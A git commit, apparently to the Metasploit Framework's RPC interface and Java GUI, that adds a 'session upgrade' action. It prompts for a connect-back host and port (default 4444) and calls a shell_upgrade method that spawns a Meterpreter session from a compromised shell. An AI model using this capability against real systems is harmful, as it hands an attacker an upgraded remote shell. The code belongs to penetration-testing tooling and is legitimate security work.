Add session upgrade capability to command shells.

git-svn-id: file:///home/svn/framework3/trunk@10289 4d416f70-5f16-0410-b530-b9f4589650da
unstable
Matt Weeks 2010-09-11 15:59:19 +00:00
parent f8dafa0308
commit 995b289635
3 changed files with 17 additions and 3 deletions

Binary file not shown.

View File

@ -1490,9 +1490,11 @@ public class MainFrame extends FrameView {
//Setup shell popup menu
shellPopupMenu = new JPopupMenu();
addSessionItem("Interact",shellPopupMenu,null);
addSessionItem("Upgrade",shellPopupMenu,new ActionListener() {
public void actionPerformed(ActionEvent e) {
JOptionPane.showMessageDialog(null, "This functionality not yet in msfrpc");
addSessionItem("Upgrade",shellPopupMenu,new RpcAction(this) {
public void action(Map session) throws Exception {
String[] res = JOptionPane.showInputDialog(getFrame(), "Select host/port for connect back.",
session.get("tunnel_local").toString().split(":")[0]+":4444").split(":");
rpcConn.execute("session.shell_upgrade", session.get("id"), res[0], res[1]);
}
});
addSessionKillItem(shellPopupMenu);

View File

@ -74,6 +74,18 @@ class Session < Base
end
end
def shell_upgrade(token, sid, lhost, lport)
authenticate(token)
s = _find_session(sid)
if(s.type != "shell")
raise ::XMLRPC::FaultException.new(403, "session is not a shell")
end
s.exploit_datastore['LHOST'] = lhost
s.exploit_datastore['LPORT'] = lport
s.execute_script('spawn_meterpreter', nil)
{ "result" => "success" }
end
def meterpreter_read(token, sid)
authenticate(token)
s = _find_session(sid)